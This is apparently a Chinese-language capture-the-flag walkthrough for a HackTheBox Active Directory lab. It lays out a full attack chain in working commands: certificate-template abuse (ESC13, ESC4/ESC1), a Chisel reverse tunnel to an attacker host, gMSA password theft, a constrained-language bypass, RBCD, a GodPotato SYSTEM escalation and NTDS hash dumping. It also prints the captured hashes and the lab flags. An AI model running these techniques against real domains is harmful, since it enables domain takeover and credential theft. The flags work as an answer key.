PingPong - HackTheBox Seasonal S7 攻略
概覽
| 欄位 | 詳情 |
|---|---|
| 靶機 | PingPong |
| 作業系統 | Windows Server 2022 |
| 難度 | Insane(瘋狂) |
| 賽季 | S10 |
| IP | 10.129.33.38(重啟後會變動) |
| 網域 | PING.HTB(DC1, dc1.ping.htb)/ PONG.HTB(DC2, dc2.pong.htb @ 內網 192.168.2.2) |
| 信任關係 | PING.HTB 與 PONG.HTB 之間的雙向樹系信任 |
| 加固措施 | 全域禁用 NTLM、禁用 RC4、僅允許 AES Kerberos |
| 初始憑證 | c.roberts / AssumedBreach123(初級 IT 技術員,IT 群組成員) |
這是一台 Insane 難度的靶機,涉及一個具有雙向樹系信任的多網域 Active Directory 環境。攻擊鏈共 12 個步驟,多次跨越網域邊界,利用了 ADCS 設定錯誤、JEA 繞過技術、gMSA 濫用、RBCD 委派、MSSQL 提權以及憑證範本篡改等技術。
步驟 1:偵察
Nmap 掃描
初始埠掃描以識別 DC1 上可用的服務。
nmap -sCV -T4 -p- -oA nmap/pingpong 10.129.33.38
發現的關鍵開放埠:
| 埠號 | 服務 |
|---|---|
| 53 | DNS |
| 88 | Kerberos |
| 135 | MSRPC |
| 139 | NetBIOS |
| 389 | LDAP |
| 445 | SMB |
| 464 | Kerberos kpasswd |
| 593 | RPC over HTTP |
| 636 | LDAPS |
| 2179 | vmrdp |
| 3268 | Global Catalog |
| 3269 | Global Catalog SSL |
| 5985 | WinRM |
| 9389 | AD Web Services |
這些埠的組合明確表明這是一台網域控制器。
透過 LDAP 進行網域列舉
使用已知的入侵憑證進行網域列舉。
ldapsearch -H ldap://10.129.33.38 -D "c.roberts@ping.htb" -w "AssumedBreach123" -b "DC=ping,DC=htb" "(objectClass=user)" sAMAccountName memberOf description
關鍵發現:
- 使用者:c.roberts(IT 群組成員)、各種服務帳戶
- 重要群組:IT、TempWinRMAccess、CA Managers
- 信任關係:與 PONG.HTB 網域的雙向樹系信任
- TempWinRMAccess 群組:沒有直接成員,但透過 ADCS ESC13 OID 連結——這是突破口
TempWinRMAccess 群組沒有直接成員但作為 WinRM 存取群組存在,這強烈暗示了基於憑證的成員身份機制(ESC13)。
步驟 2:ESC13 - 憑證轉換為群組成員身份
ESC13 是一種較新的 ADCS 攻擊方式。當憑證範本的簽發政策 OID 連結到 Active Directory 群組時,使用該範本簽發的憑證進行認證會將群組 SID 加入使用者的 PAC,從而有效地授予群組成員身份。
使用 Certipy 列舉 ADCS
certipy find -u c.roberts@ping.htb -p AssumedBreach123 -dc-ip 10.129.33.38
發現了 TemporaryWinRM 範本存在 ESC13 漏洞:
- 可註冊者:Domain Users(c.roberts 符合條件)
- 簽發政策 OID:連結到 TempWinRMAccess 群組
- 效果:從此範本簽發的任何憑證都會在使用者的 PAC 中授予 TempWinRMAccess 成員身份
從 TemporaryWinRM 範本請求憑證
certipy req -u c.roberts@ping.htb -p AssumedBreach123 -ca ping-DC1-CA -template TemporaryWinRM -dc-ip 10.129.33.38
輸出:c.roberts.pfx — 包含憑證和私鑰的 PKCS#12 檔案。
使用憑證進行認證(PKINIT)
certipy auth -pfx c.roberts.pfx -dc-ip 10.129.33.38 -domain ping.htb
此操作執行 PKINIT 認證。KDC 簽發的 TGT 在 PAC 中包含了 TempWinRMAccess 群組 SID,從而授予對 DC1 的 WinRM 存取權限。
輸出:c.roberts.ccache — 包含 TGT 的 Kerberos 憑證快取。
步驟 3:DC1 上的 WinRM Shell
macOS GSSAPI 限制
在 macOS 上,標準 WinRM 工具(evil-winrm、pywinrm)使用 Kerberos 認證時會遇到 GSSAPI IOV(wrap_iov)問題。解決方案是使用 pypsrp,它能在 macOS 上正確處理 Kerberos 認證。
透過 pypsrp 連線
from pypsrp.client import Client
# 設定 KRB5CCNAME 指向 certipy 產生的 ccache
import os
os.environ['KRB5CCNAME'] = 'c.roberts.ccache'
client = Client('dc1.ping.htb', auth='kerberos', ssl=False)
output, streams, had_errors = client.execute_ps("whoami /groups")
print(output)
輸出確認了 ping\c.roberts 具有 TempWinRMAccess 群組成員身份,驗證 ESC13 攻擊成功。
步驟 4:Chisel 通道連接 DC2
DC2(dc2.pong.htb,192.168.2.2)位於僅可從 DC1 存取的內部網路。需要建立通道才能與 PONG.HTB 服務互動。
設定 Chisel 伺服器(攻擊機器)
./chisel_mac server --reverse --port 8888
上傳並在 DC1 上執行 Chisel 客戶端
透過 pypsrp 檔案傳輸將 chisel.exe 上傳至 DC1:
client.copy("chisel.exe", "C:\\Users\\c.roberts\\chisel.exe")
在 DC1 上啟動 chisel 客戶端以建立反向 SOCKS 代理或直接埠轉發:
C:\Users\c.roberts\chisel.exe client <attacker_ip>:8888 R:1080:socks
DC2(192.168.2.2)現在可以透過 localhost:1080 上的 SOCKS 代理存取。
注意:macOS 上的 chisel 反向 SOCKS/埠轉發可靠性不佳。更可靠的解決方案是使用 DC1 上的 pypsrp 工作階段作為 KDC 代理,透過 DC1 的原生網路連線執行到達 DC2 的命令。
步驟 5:gMSA Managers 群組接管(跨網域)
這是一個跨網域的提權鏈。PING.HTB 的 IT 群組擁有 PONG.HTB 的 gMSA Managers 群組,這意味著具有 WriteDacl 權限。
步驟 5a:為 c.roberts 在 gMSA Managers 上新增 GenericAll ACE
在 DC1 上以 c.roberts 身份,使用 .NET LDAP 類別連接到 DC2 並修改 gMSA Managers 的 ACL:
# 連接到 DC2 LDAP
$ldap = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldap.SessionOptions.Sealing = $true
$ldap.SessionOptions.Signing = $true
$ldap.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldap.Bind()
# 使用 SD_FLAGS 控制項讀取當前 nTSecurityDescriptor(值 4 = 僅 DACL)
$sdFlagsControl = New-Object System.DirectoryServices.Protocols.DirectoryControl("1.2.840.113556.1.4.801", [byte[]](0x30,0x03,0x02,0x01,0x04), $true, $true)
$searchReq = New-Object System.DirectoryServices.Protocols.SearchRequest(
"CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
"(objectClass=*)",
[System.DirectoryServices.Protocols.SearchScope]::Base,
"nTSecurityDescriptor"
)
$searchReq.Controls.Add($sdFlagsControl)
$result = $ldap.SendRequest($searchReq)
# 解析現有 SD,為 c.roberts SID 新增 GenericAll ACE
# S-1-5-21-750635624-2058721901-1932338391-2617
$sd = New-Object System.DirectoryServices.ActiveDirectorySecurity
$sdBytes = $result.Entries[0].Attributes["ntsecuritydescriptor"].GetValues([byte[]])[0]
$sd.SetSecurityDescriptorBinaryForm($sdBytes)
# 建立 GenericAll ACE
$robertsSid = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-750635624-2058721901-1932338391-2617")
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$robertsSid,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow
)
$sd.AddAccessRule($ace)
# 寫回修改後的 SD
$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
"CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
[System.DirectoryServices.Protocols.DirectoryAttributeModificationCollection]@(
New-Object System.DirectoryServices.Protocols.DirectoryAttributeModification -Property @{
Name = "nTSecurityDescriptor"
Operation = [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace
}
)
)
$modReq.Attributes[0].Add($sd.GetSecurityDescriptorBinaryForm())
$modReq.Controls.Add($sdFlagsControl)
$ldap.SendRequest($modReq)
步驟 5b:變更群組範圍(Global → Universal → DomainLocal)
外部安全主體(跨網域使用者)只能成為 DomainLocal 群組的成員。gMSA Managers 群組必須從 Global 轉換為 DomainLocal 範圍。Active Directory 不允許直接從 Global 轉換為 DomainLocal,因此路徑是 Global → Universal → DomainLocal。
# Global (-2147483646) → Universal (-2147483640)
$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
"CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
[System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace,
"groupType",
"-2147483640"
)
$ldap.SendRequest($modReq)
# Universal (-2147483640) → DomainLocal (-2147483644)
$modReq2 = New-Object System.DirectoryServices.Protocols.ModifyRequest(
"CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
[System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace,
"groupType",
"-2147483644"
)
$ldap.SendRequest($modReq2)
步驟 5c:新增 c.roberts 為成員
使用 SID 格式將 c.roberts(PING 網域使用者)新增到 gMSA Managers 群組(PONG 網域),這會自動在 PONG 中建立 ForeignSecurityPrincipal 物件。
# 使用 ADSI DirectoryEntry 修改成員
$entry = New-Object System.DirectoryServices.DirectoryEntry(
"LDAP://dc2.pong.htb/CN=gMSA Managers,CN=Users,DC=pong,DC=htb"
)
# 使用 <SID=hex> 格式進行跨網域成員身份設定
# SID S-1-5-21-750635624-2058721901-1932338391-2617 的十六進位表示
$sidHex = "<SID=0105000000000005150000002855C52C8DF0D47A672A5C73390A0000>"
$entry.Properties["member"].Add($sidHex)
$entry.CommitChanges()
這會在 PONG 網域中建立 ForeignSecurityPrincipal 物件並將其新增到 gMSA Managers。
步驟 6:gMSA 密碼提取
取得 gMSA Managers 成員身份後,c.roberts 現在可以讀取 Pong_gMSA$ 的受管理密碼。
擷取 msDS-ManagedPassword
需要建立新的 LDAP 連線,以便新的 Kerberos 票據包含 gMSA Managers 群組成員身份。
# 建立新的 LDAP 連線到 DC2(票據將包含 gMSA Managers)
$ldap2 = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldap2.SessionOptions.Sealing = $true
$ldap2.SessionOptions.Signing = $true
$ldap2.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldap2.Bind()
# 查詢 gMSA 帳戶的受管理密碼
$searchReq = New-Object System.DirectoryServices.Protocols.SearchRequest(
"DC=pong,DC=htb",
"(sAMAccountName=Pong_gMSA$)",
[System.DirectoryServices.Protocols.SearchScope]::Subtree,
"msDS-ManagedPassword"
)
$result = $ldap2.SendRequest($searchReq)
$blob = $result.Entries[0].Attributes["msds-managedpassword"].GetValues([byte[]])[0]
解析 MSDS-MANAGEDPASSWORD_BLOB
Blob 結構中密碼位於偏移量 16,長度 256 位元組(UTF-16LE 編碼)。
# 從 blob 中擷取密碼位元組
$passwordOffset = 16
$passwordLength = 256
$passwordBytes = $blob[$passwordOffset..($passwordOffset + $passwordLength - 1)]
# 計算 NT 雜湊值(UTF-16LE 密碼的 MD4)
$md4 = [System.Security.Cryptography.MD4]::Create() # 或手動 MD4 實作
$ntHash = $md4.ComputeHash($passwordBytes)
# NT Hash: 4b85a2a049588810c1267e4018b07a07
計算 AES256 金鑰
AES256 金鑰使用 Kerberos string_to_key 函式搭配適當的 salt 衍生。
# 使用 Python 進行金鑰衍生
from impacket.krb5.crypto import string_to_key, Enctype
salt = "PONG.HTBhostpong_gmsa.pong.htb"
aes256_key = string_to_key(Enctype.AES256, password_bytes, salt)
# AES256 金鑰: 9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a
取得的憑證:
- 帳戶:Pong_gMSA$
- NT Hash:
4b85a2a049588810c1267e4018b07a07 - AES256 金鑰:
9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a
步驟 7:JEA 工作階段 - PSReadLine 歷史紀錄 - c.carlssen 憑證
發現 JEA 端點
Pong_gMSA$ 服務帳戶可以存取一個 JEA(Just Enough Administration)端點,ConfigurationName 為 "restricted"(來自 restricted_e26939b6-...-dfb45427c765.pssc)。
透過 Invoke-Command 連接 JEA
直接以 Pong_gMSA$ 透過 pypsrp 連接有跨網域 Kerberos 問題。解決方案是從 DC1 使用 PSCredential 物件執行 Invoke-Command。
# 建立 Pong_gMSA$ 的 PSCredential
$secPwd = ConvertTo-SecureString -String "<gmsa_password_or_use_nt_hash_method>" -AsPlainText -Force
$gmsaCred = New-Object System.Management.Automation.PSCredential("PONG\Pong_gMSA$", $secPwd)
# 連接到 JEA restricted 端點
Invoke-Command -ComputerName dc1.ping.htb -Credential $gmsaCred -ConfigurationName restricted -ScriptBlock {
# 列舉可用命令
Get-Command
}
JEA 端點以 RestrictedRemoteServer 模式搭配 Constrained Language Mode(CLM,受限語言模式)運行。僅有 8 個命令可用,FileSystem 提供者不可用 —— Get-ChildItem、Get-Content 等均無法使用。
CLM 繞過:變數語法讀取檔案
關鍵發現:PowerShell 的 ${C:\path\to\file} 變數語法即使在沒有 FileSystem 提供者且 Constrained Language Mode 啟用的情況下也能讀取檔案內容。這是因為變數表示法由語言解析器在提供者限制生效之前就已處理。
Invoke-Command -ComputerName dc1.ping.htb -Credential $gmsaCred -ConfigurationName restricted -ScriptBlock {
${C:\Users\Pong_gMSA$\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt}
}
在 PSReadLine 歷史紀錄中找到的憑證
歷史紀錄檔案包含:
$c = New-Object System.Management.Automation.PSCredential("pong\c.carlssen", $(ConvertTo-SecureString -AsPlainText -Force "A()DUJ!@414"))
取得的憑證:c.carlssen / A()DUJ!@414
步驟 8:使用者旗標
以 c.carlssen 身份存取 DC2
$secPwd = ConvertTo-SecureString "A()DUJ!@414" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("pong\c.carlssen", $secPwd)
Invoke-Command -ComputerName dc2.pong.htb -Credential $cred -ScriptBlock {
type C:\Users\C.Carlssen\Desktop\user.txt
}
使用者旗標:536621469e40e4d783c1459415d82c52
步驟 9:RBCD 取得 MSSQL 的 C.Adam(sysadmin)存取權
攻擊路徑分析
- c.carlssen 在 IT Service Admins 群組中,該群組對
svc_sql(MSSQL 服務帳戶)有 GenericWrite 權限 - svc_sql 有 SPN:
mssqlsvc/dc2.pong.htb - C.Adam 在 Database Admins 群組中,是 MSSQL 實例的 sysadmin
- MachineAccountQuota = 0 —— 無法建立新的電腦帳戶
- 解決方案:使用 Pong_gMSA$(它本身就是類似電腦的帳戶)進行 RBCD
步驟 9a:在 svc_sql 上設定 RBCD
允許 Pong_gMSA$ 透過資源型受限委派(RBCD)委派至 svc_sql:
$gmsaSid = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-<PONG-DOMAIN-SID>-<GMSA-RID>")
$sd = New-Object Security.AccessControl.RawSecurityDescriptor("O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($gmsaSid.Value))")
$sdBytes = New-Object byte[] $sd.BinaryLength
$sd.GetBinaryForm($sdBytes, 0)
Set-ADUser svc_sql -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $sdBytes}
步驟 9b:為 Pong_gMSA$ 新增 SPN
RBCD 要求委派帳戶必須有 SPN 才能使 S4U2Proxy 正常運作。Pong_gMSA$ 預設沒有 SPN,但它有 NT AUTHORITY\SELF 的 WriteProperty 權限可以修改自己的 SPN 屬性。
# 使用 Pong_gMSA$ 自己的 LDAP 連線為自己新增 SPN
$ldapSelf = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldapSelf.SessionOptions.Sealing = $true
$ldapSelf.SessionOptions.Signing = $true
$ldapSelf.Credential = New-Object Net.NetworkCredential("Pong_gMSA$", $secPwd, "PONG")
$ldapSelf.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldapSelf.Bind()
$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
"CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb",
[System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Add,
"servicePrincipalName",
"cifs/gmsa.pong.htb"
)
$ldapSelf.SendRequest($modReq)
步驟 9c:為 svc_sql 新增含埠號的 SPN
MSSQL 的 SqlClient 要求 SPN 包含埠號(MSSQLSvc/dc2.pong.htb:1433),但原本只有 mssqlsvc/dc2.pong.htb。
Set-ADUser svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/dc2.pong.htb:1433"}
步驟 9d:使用 Rubeus 執行 S4U
Impacket 的 getST.py 在僅 AES 環境中有 etype 處理問題。Rubeus 能正確處理這種情況。
將 Rubeus.exe 上傳到 DC1 並執行 S4U:
Rubeus.exe s4u /user:Pong_gMSA$ /aes256:9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a /impersonateuser:C.Adam /msdsspn:"MSSQLSvc/dc2.pong.htb:1433" /domain:pong.htb /dc:192.168.2.2 /ptt
此操作執行 S4U2Self(取得 C.Adam 到 Pong_gMSA$ 的服務票據),接著執行 S4U2Proxy(將其交換為 C.Adam 到 MSSQLSvc/dc2.pong.htb:1433 的服務票據),並將結果票據注入當前工作階段。
步驟 9e:使用票據連接 MSSQL
WinRM 工作階段無法使用透過 SSPI 注入的票據(票據快取是按登入工作階段隔離的)。解決方案是使用 Rubeus 的 createnetonly 啟動一個具有自己登入工作階段的新程序,然後在同一程序中執行 S4U + MSSQL 連線。
編寫一個在同一程序中完成所有操作的組合 PowerShell 腳本:
# combined.ps1 - 在 createnetonly 登入工作階段中執行
# S4U 已完成且票據已由 Rubeus 在此腳本執行前注入
$conn = New-Object System.Data.SqlClient.SqlConnection
$conn.ConnectionString = "Server=dc2.pong.htb,1433;Integrated Security=True;TrustServerCertificate=True"
$conn.Open()
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT SYSTEM_USER AS [user], IS_SRVROLEMEMBER('sysadmin') AS [sysadmin]"
$reader = $cmd.ExecuteReader()
$reader.Read()
Write-Output "SQL: user=$($reader['user']) sysadmin=$($reader['sysadmin'])"
$reader.Close()
$conn.Close()
透過 createnetonly 啟動:
Rubeus.exe createnetonly /program:"powershell -ep bypass -File C:\Users\c.roberts\combined.ps1" /domain:PONG /username:C.Adam /password:fake /show
結果:SQL: user=pong\C.Adam sysadmin=1 —— 確認在 MSSQL 上取得 sysadmin 存取權。
步驟 10:MSSQL 透過 GodPotato 提權至 SYSTEM
啟用 xp_cmdshell
以 MSSQL 的 sysadmin 身份啟用命令執行:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- 輸出: pong\svc_sql
svc_sql 帳戶具有 SeImpersonatePrivilege,使其容易受到 potato 攻擊。
透過 OLE Automation 寫入 GodPotato.exe
由於透過 xp_cmdshell 的檔案存取可能受限,使用 MSSQL 的 OLE Automation 寫入二進位檔案:
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
-- 透過 ADODB.Stream 寫入 GodPotato.exe 二進位檔
DECLARE @obj INT;
EXEC sp_OACreate 'ADODB.Stream', @obj OUTPUT;
EXEC sp_OASetProperty @obj, 'Type', 1; -- adTypeBinary
EXEC sp_OAMethod @obj, 'Open';
EXEC sp_OAMethod @obj, 'Write', NULL, 0x<GodPotato的十六進位位元組>;
EXEC sp_OAMethod @obj, 'SaveToFile', NULL, 'C:\Windows\Temp\GodPotato.exe', 2;
EXEC sp_OAMethod @obj, 'Close';
EXEC sp_OADestroy @obj;
提權至 SYSTEM
EXEC xp_cmdshell 'C:\Windows\Temp\GodPotato.exe -cmd "whoami"';
-- 輸出: nt authority\system
將 svc_sql 新增至 Domain Admins
EXEC xp_cmdshell 'C:\Windows\Temp\GodPotato.exe -cmd "net group \"Domain Admins\" svc_sql /add /domain"';
步驟 11:DCSync PONG 網域
設定 svc_sql 密碼並存取 DC2
# 為 svc_sql 設定已知密碼
$newPwd = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force
Set-ADAccountPassword -Identity svc_sql -NewPassword $newPwd -Reset
以 svc_sql(現為 Domain Admin)透過 WinRM 連接 DC2
$svcCred = New-Object PSCredential("pong\svc_sql", $newPwd)
Invoke-Command -ComputerName dc2.pong.htb -Credential $svcCred -ScriptBlock {
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\ifm" quit quit
}
下載 NTDS.dit 和登錄檔蜂巢
透過 pypsrp 下載 IFM 輸出:
client.fetch("C:\\Windows\\Temp\\ifm\\Active Directory\\ntds.dit", "ntds.dit")
client.fetch("C:\\Windows\\Temp\\ifm\\registry\\SYSTEM", "SYSTEM")
client.fetch("C:\\Windows\\Temp\\ifm\\registry\\SECURITY", "SECURITY")
使用 secretsdump 提取雜湊值
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
提取的關鍵雜湊值:
| 帳戶 | NT Hash | AES256 金鑰 |
|---|---|---|
| Administrator@PONG | 0b8ebfb6e9972babf9c01311748261a8 |
— |
| R.Martinelli(RID 1124) | d60fc26a0569b953a5cebd1392232630 |
61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98 |
| svc_sql(LSA 密鑰) | — | 密碼:This!IsAServi@ceA1231ccount |
R.Martinelli 是 PING.HTB 中 CA Managers 的成員 —— 這是返回 PING 網域取得 root 旗標的路徑。
步驟 12:ESC4 轉 ESC1 - Administrator@PING - Root 旗標
攻擊路徑
R.Martinelli(PONG 網域)在 CA Managers 群組(PING 網域)中,該群組對 SmartcardAuthentication 憑證範本有 WriteDacl 權限。這使得 ESC4 攻擊(修改範本使其容易受到 ESC1 攻擊)成為可能。
設定 R.Martinelli 的密碼
使用 svc_sql 在 PONG 上的 Domain Admin 權限:
$newPwd = ConvertTo-SecureString "NewP@ssw0rd!" -AsPlainText -Force
Set-ADAccountPassword -Identity R.Martinelli -NewPassword $newPwd -Reset
步驟 12a:ESC4 - 修改 SmartcardAuthentication 範本
以 R.Martinelli(CA Managers 成員)身份連接到 DC1 的 LDAP,修改 SmartcardAuthentication 範本使其容易受到 ESC1 攻擊:
# 透過 LDAP 修改範本屬性
# 目標: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
# 設定以下屬性:
# msPKI-Certificate-Name-Flag = 1 (ENROLLEE_SUPPLIES_SUBJECT - 允許指定任意 SAN)
# pKIExtendedKeyUsage = 1.3.6.1.5.5.7.3.2 (Client Authentication 用戶端認證)
# msPKI-RA-Signature = 0 (不需要管理員核准)
# msPKI-Enrollment-Flag = 0 (無額外註冊要求)
同時為 Authenticated Users 新增 Enrollment ACE,使 c.roberts 能夠註冊:
# 新增 ObjectAce,GUID 為 0e10c968-78fb-11d2-90d4-00c04f79dc55(Certificate-Enrollment)
# 對象為 Authenticated Users(S-1-5-11),加到範本的 nTSecurityDescriptor 中
步驟 12b:ESC1 - 以 Administrator 身份請求憑證
範本現在已容易受到 ESC1 攻擊(ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU),請求一個指定 Administrator 為 UPN 的憑證:
certipy req -u c.roberts@ping.htb -k -no-pass \
-ca ping-DC1-CA \
-template SmartcardAuthentication \
-upn Administrator@ping.htb \
-sid S-1-5-21-750635624-2058721901-1932338391-500 \
-target dc1.ping.htb \
-target-ip 10.129.33.38 \
-dc-ip 10.129.33.38
輸出:admin_sid.pfx
-sid 參數在憑證中嵌入 Administrator 的 SID,確保 KDC 將其對應到正確的帳戶,即使 UPN 對應有歧義。
步驟 12c:以 Administrator 身份進行 PKINIT 認證
certipy auth -pfx admin_sid.pfx -dc-ip 10.129.33.38 -domain ping.htb
輸出:
- Administrator@PING.HTB 的 TGT 儲存至
administrator.ccache - NT Hash:
63905deb12b527aadfdbc26d3f423eff
步驟 12d:Root 旗標
import os
os.environ['KRB5CCNAME'] = 'administrator.ccache'
from pypsrp.client import Client
client = Client('dc1.ping.htb', auth='kerberos', ssl=False)
output, streams, had_errors = client.execute_ps("type C:\\Users\\Administrator\\Desktop\\root.txt")
print(output)
Root 旗標:0553d3a8d1d25576efc44d7f854468c6
關鍵技術與經驗教訓
1. ESC13:憑證簽發政策 OID 對應群組成員身份
憑證範本的簽發政策 OID 可以連結到 AD 群組。使用此類憑證進行認證會將群組 SID 加入使用者的 PAC,在不成為直接成員的情況下授予有效的群組成員身份。
2. JEA 受限語言模式繞過
PowerShell 的 ${C:\path\to\file} 變數語法即使在 FileSystem 提供者不可用且 Constrained Language Mode 啟用時也能讀取檔案內容。這是因為變數表示法在提供者限制生效之前就由語言解析器處理。
3. 跨網域 gMSA 濫用
攻擊鏈:Owner 關係 → WriteDacl → GenericAll → 變更群組範圍(Global → Universal → DomainLocal) → 新增 Foreign Security Principal 為成員 → 讀取 msDS-ManagedPassword。群組範圍轉換是必要的,因為只有 DomainLocal 群組接受跨網域成員。
4. 僅 AES 環境中的 RBCD
Impacket 的 getST.py 在僅 AES(無 RC4)環境中有 etype 處理問題。Rubeus 能正確處理這種情況。此外,createnetonly 技術是在 WinRM 工作階段中使用 S4U 票據所必需的,因為透過 SSPI 的票據注入是按登入工作階段隔離的。
5. RBCD 的 SPN 管理
委派帳戶(Pong_gMSA$)至少需要一個 SPN 才能使 S4U2Proxy 運作。帳戶的 NT AUTHORITY\SELF 權限允許它為自己新增 SPN。目標服務(svc_sql)也需要含埠號的 SPN(MSSQLSvc/dc2.pong.htb:1433)以相容 SqlClient。
6. 透過 OLE Automation 使用 GodPotato
當 xp_cmdshell 的檔案存取受限時,MSSQL 的 sp_OACreate 搭配 ADODB.Stream 提供了將二進位檔案寫入磁碟的替代方法。
7. ESC4 轉 ESC1 鏈
對憑證範本的 WriteDacl 權限允許修改其旗標以啟用 ENROLLEE_SUPPLIES_SUBJECT(指定任意 SAN)並設定 EKU 為 Client Authentication。結合新增 enrollment ACE,這可以將任何範本轉換為 ESC1 漏洞。
8. macOS 特定挑戰
- MTU 1200:與 HackTheBox VPN 穩定連線所需
- GSSAPI IOV:macOS 的 GSS 框架缺少 wrap_iov 支援,導致標準 WinRM Kerberos 認證失敗 —— pypsrp 是解決方案
- Chisel 可靠性:macOS 上反向通道可靠性不佳;使用 pypsrp 作為 KDC 代理更可靠
- 時鐘同步:Kerberos 要求時間同步在 5 分鐘以內 —— macOS 的 NTP 行為需要注意